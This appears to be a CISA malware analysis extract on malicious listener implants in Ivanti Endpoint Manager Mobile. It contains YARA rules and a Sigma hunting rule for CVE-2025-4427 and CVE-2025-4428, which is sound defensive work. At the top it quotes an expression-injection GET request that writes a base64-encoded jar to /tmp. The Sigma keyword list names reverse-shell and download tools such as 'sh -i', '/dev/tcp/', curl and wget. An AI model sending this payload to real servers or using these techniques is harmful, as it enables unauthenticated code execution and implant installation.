恶意监听器针对Ivanti端点移动管理系统

1

"GET /mifs/rs/api/v2/featureusage?format=${"".getClass().forName("java.io.FileOutputStream").getConstructor("".getClass(), "".getClass().forName("[Z").getComponentType()).newInstance("/tmp/web-install.jar", true).write("".getClass().forName("java.util.Base64").getMethod("getDecoder").invoke(null).decode("[BASE64_CHUNK]"))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

rule CISA_251126_01 : trojan hides_artifacts
{
meta:
author = “CISA Code & Media Analysis”
incident = “251126”
date = “2025-07-23”
last_modified = “20250724_1615”
actor = “n/a”
family = “n/a”
capabilities = “hides-artifacts”
malware_type = “trojan”
tool_type = “unknown”
description = “Detects malicious jar filter samples”
sha256_1 = “c1f60ca5a5f7b94ab7122718a44b46de16c69d22c2eb62ce2948cab14bc78d50”
strings:
$s0 = { 6F 72 67 2F 61 70 61 63 68 65 2F 68 74 74 70 2F 63 6C 69 65 6E 74 }
$s1 = { 2F 77 6F 2F 52 65 66 6C 65 63 74 55 74 69 6C 2E 63 6C 61 73 73 }
$s2 = { 83 2E 9D 42 02 A3 81 42 02 B3 C7 57 34 C4 A8 21 }
$s3 = { 8C 8E C0 B6 14 0E 92 08 89 EE EB 1A 11 7D F4 4E }
$s4 = { 5B 97 FF F6 12 C9 16 F5 17 C8 5B 5F 44 0E 07 30 }
$s5 = { A9 21 59 ED 8E 7A 28 D6 29 FA E3 D0 4C 3D 0F CE }
$s6 = { 5A BD F7 24 E8 66 5F 07 2F 7C 0C 0E A9 E3 8D C5 }
$s7 = { 05 1B AE 97 B1 88 FF 01 16 EF 3F 44 9E 5F 43 AE }
condition:
all of them
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

rule CISA_251126_02 : trojan
{
meta:
author = “CISA Code & Media Analysis”
incident = “251126”
date = “2025-07-23”
last_modified = “20250724_1615”
actor = “n/a”
family = “n/a”
capabilities = “n/a”
malware_type = “trojan”
tool_type = “unknown”
description = “Detects malicious servlet filter class loader samples”
sha256_1 = “065c1c2fb17ba1c3f882bead409215df612673cd455698768ed71412f9190ba3”
strings:
$s0 = { 6F 72 67 2F 61 70 61 63 68 65 2F 68 74 74 70 }
$s1 = { 63 6C 69 65 6E 74 2F 77 6F 2F 52 65 66 6C 65 63 74 55 74 69 6C }
$s2 = { 53 65 63 75 72 69 74 79 48 61 6E 64 6C 65 72 57 61 6E 4C 69 73 74 65 6E 65 72 }
$s3 = { 67 65 74 4C 69 73 74 65 6E 65 72 }
$s4 = { 61 64 64 4C 69 73 74 65 6E 65 72 }
$s5 = { 54 6F 6D 63 61 74 45 6D 62 65 64 64 65 64 43 6F 6E 74 65 78 74 }
$s6 = { 67 7A 69 70 44 65 63 6F 6D 70 72 65 73 73 }
$s7 = { 67 65 74 41 70 70 6C 69 63 61 74 69 6F 6E 45 76 65 6E 74 4C 69 73 74 65 6E 65 72 73 }
$s8 = { 73 65 74 41 70 70 6C 69 63 61 74 69 6F 6E 45 76 65 6E 74 4C 69 73 74 65 6E 65 72 73 }
$s9 = { 65 76 69 6C 43 6C 61 73 73 4E 61 6D 65 }
condition:
all of them
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

rule CISA_251126_03 : trojan installs_other_components exfiltrates_data
{
meta:
author = “CISA Code & Media Analysis”
incident = “251126”
date = “2025-07-23”
last_modified = “20250724_1615”
actor = “n/a”
family = “n/a”
capabilities = “installs-other-components exfiltrates-data”
malware_type = “trojan”
tool_type = “unknown”
description = “Detects malicious servlet filter class samples”
sha256_1 = “b1b1cf33b8d3da35293d6b74c378f0cd9452a4351e26d07c896c4d9a8257ef89”
strings:
$s0 = { 53 65 72 76 6C 65 74 52 65 71 75 65 73 74 4C 69 73 74 65 6E 65 72 }
$s1 = { 43 6C 61 73 73 4C 6F 61 64 65 72 }
$s2 = { 53 65 72 76 6C 65 74 52 65 71 75 65 73 74 45 76 65 6E 74 }
$s3 = { 2F 48 74 74 70 53 65 72 76 6C 65 74 52 65 73 70 6F 6E 73 65 }
$s4 = { 48 74 74 70 53 65 73 73 69 6F 6E }
$s5 = { 48 74 74 70 53 65 72 76 6C 65 74 52 65 73 70 6F 6E 73 65 }
$s6 = { 68 65 61 64 65 72 56 61 6C 75 65 }
$s7 = { 37 63 36 61 38 38 36 37 64 37 32 38 63 33 62 62 }
$s8 = { 70 61 73 73 }
$s9 = { 53 65 63 72 65 74 4B 65 79 53 70 65 63 }
$s10 = { 15 68 74 74 70 73 3A 2F 2F 77 77 77 2E 6C 69 76 65 2E 63 6F 6D 2F }
$s11 = { 52 65 66 65 72 65 72 }
condition:
all of them
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

rule CISA_251126_04 : trojan hides_artifacts
{
meta:
author = “CISA Code & Media Analysis”
incident = “251126”
date = “2025-07-23”
last_modified = “20250724_1615”
actor = “n/a”
family = “n/a”
capabilities = “hides-artifacts”
malware_type = “trojan”
tool_type = “unknown”
description = “Detects malicious jar Tomcat listener shell samples”
sha256_1 = “b618057de9a8bba95440f23b9cf6374cc66f2acd127b3d478684b22d8f11e00b”
strings:
$s0 = { 63 6F 6D 2F 6D 6F 62 69 6C 65 69 72 6F 6E 2F 73 65 72 76 69 63 65 2F }
$s1 = { 57 65 62 41 6E 64 72 6F 69 64 41 70 70 49 6E 73 74 61 6C 6C 65 72 2E 63 6C 61 73 73 }
$s2 = { 5A 5D BB 33 C0 43 31 B0 2D DC 58 F2 75 44 CE E5 }
$s3 = { 97 DC AC 0F A7 69 97 A4 5A 72 E8 96 AC 43 9E 01 }
$s4 = { E0 E0 7E 40 F3 F8 87 30 C5 83 30 C5 43 14 E7 67 }
$s5 = { DB E6 F7 F9 BD FC BE 75 00 BF 6F B3 59 B7 28 07 }
$s6 = { C6 BF A4 1D 28 AB 7A B9 3E 09 B1 D8 E2 FA 09 36 }
$s7 = { B8 0E 8E 0B 97 2D AE CF B4 B8 6E CD E5 E6 BA 92 }
condition:
all of them
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

rule CISA_251126_05 : trojan installs_other_components exfiltrates_data
{
meta:
author = “CISA Code & Media Analysis”
incident = “251126_”
date = “2025-07-23”
last_modified = “20250724_1615”
actor = “n/a”
family = “n/a”
capabilities = “installs-other-components exfiltrates-data”
malware_type = “trojan”
tool_type = “unknown”
description = “Detects malicious Tomcat listener shell class samples”
sha256_1 = “df501b238854d6579cafebeba82581a728e89ed1f6cd0da54c79ef4eb6f4f9fd”
strings:
$s0 = { 43 6C 61 73 73 4C 6F 61 64 65 72 }
$s1 = { 6D 6F 62 69 6C 65 69 72 6F 6E 2F 73 65 72 76 69 63 65 }
$s2 = { 57 65 62 41 6E 64 72 6F 69 64 41 70 70 49 6E 73 74 61 6C 6C 65 72 }
$s3 = { 61 64 64 4C 69 73 74 65 6E 65 72 }
$s4 = { 73 65 72 76 6C 65 74 52 65 71 75 65 73 74 4C 69 73 74 65 6E 65 72 43 6C 61 73 73 }
$s5 = { 61 64 64 41 70 70 6C 69 63 61 74 69 6F 6E 45 76 65 6E 74 4C 69 73 74 65 6E 65 72 4D 65 74 68 6F 64 }
$s6 = { 62 61 73 65 36 34 44 65 63 6F 64 65 }
$s7 = { 63 6F 6E 74 65 6E 74 54 79 70 65 }
$s8 = { 08 72 65 73 70 6F 6E 73 65 }
$s9 = { 33 63 36 65 30 62 38 61 39 63 31 35 32 32 34 61 }
$s10 = { 6B 70 61 73 73 6C 6F 67 69 6E }
$s11 = { 53 65 72 76 6C 65 74 52 65 71 75 65 73 74 4C 69 73 74 65 6E 65 72 }
$s12 = { 53 65 63 72 65 74 4B 65 79 53 70 65 63 }
condition:
all of them
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

## CISA Code & Media Analysis ##

## Edit rules and queries as needed for your hunt and based on your environment.
## Ensure your EDR/SIEM instance has enough memory to run these AND/OR condition-based queries. May take longer to run than conventional Sigma rule query.
## Do not edit “logsource-product:” unless you are editing this rule to meet specific logsources/fields and know your environment.
## TLP CLEAR may convert rules using online converter of choice.
###################################
title: Detects Artifacts Based on MAR-251126, Ivanti EPMM CVE-2025-4427 and CVE-2025-4428
incident: 251126
tlp: CLEAR
id: 83df757f-54e7-44a0-be21-ae2306ca3240
status: test
description: Detects abused URL paths and suspicious commands used by Threat Actors on Ivanti Endpoint Manger Mobile (EPMM). Based on MAR-251126 as well as Unauthenticated Remote Code Execution Vulnerabilities CVE-2025-4427 and CVE-2025-4428.
references:
    - ‘MAR-251126’
    - ‘https://projectdiscovery.io/blog/ivanti-remote-code-execution’
    - ‘https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/’
    - ‘https://www.wiz.io/blog/ivanti-epmm-rce-vulnerability-chain-cve-2025-4427-cve-2025-4428’
    - ‘https://threatprotect.qualys.com/2025/05/20/cisa-warns-of-ivanti-epmm-unauthenticated-remote-code-execution-vulnerabilities-cve-2025-4427-cve-2025-4428/’
    - ‘https://profero.io/blog/ivanti-epmm-attacks’
    - ‘https://github.com/rapid7/metasploit-framework/blob/26156dfac2e01379eb858a87aa85e2ecfea929ff/modules%2Fexploits%2Fmulti%2Fhttp%2Fivanti_epmm_rce_cve_2025_4427_4428.rb’   
author: CISA Code & Media Analysis
date: 2025-08-08
modified: 2025-08-13
tags:
    - cve.2025.4427
    - cve.2025.4428
logsource:
    product: cma
detection:
    keywords:
        - ‘GET’
    keywords_1:
        - ‘/api/v2/*’
    keywords_2:
        - ‘sh -i’
        - ‘invoke’
        - ‘java’
        - ‘/dev/tcp/’
        - ‘getRuntime’
        - ‘.jar’
        - ‘.class’
        - ‘evilClassName’
        - ‘ping’
        - ‘dig’
        - ‘curl’
        - ‘wget’
        - ‘fetch’
        - ‘echo’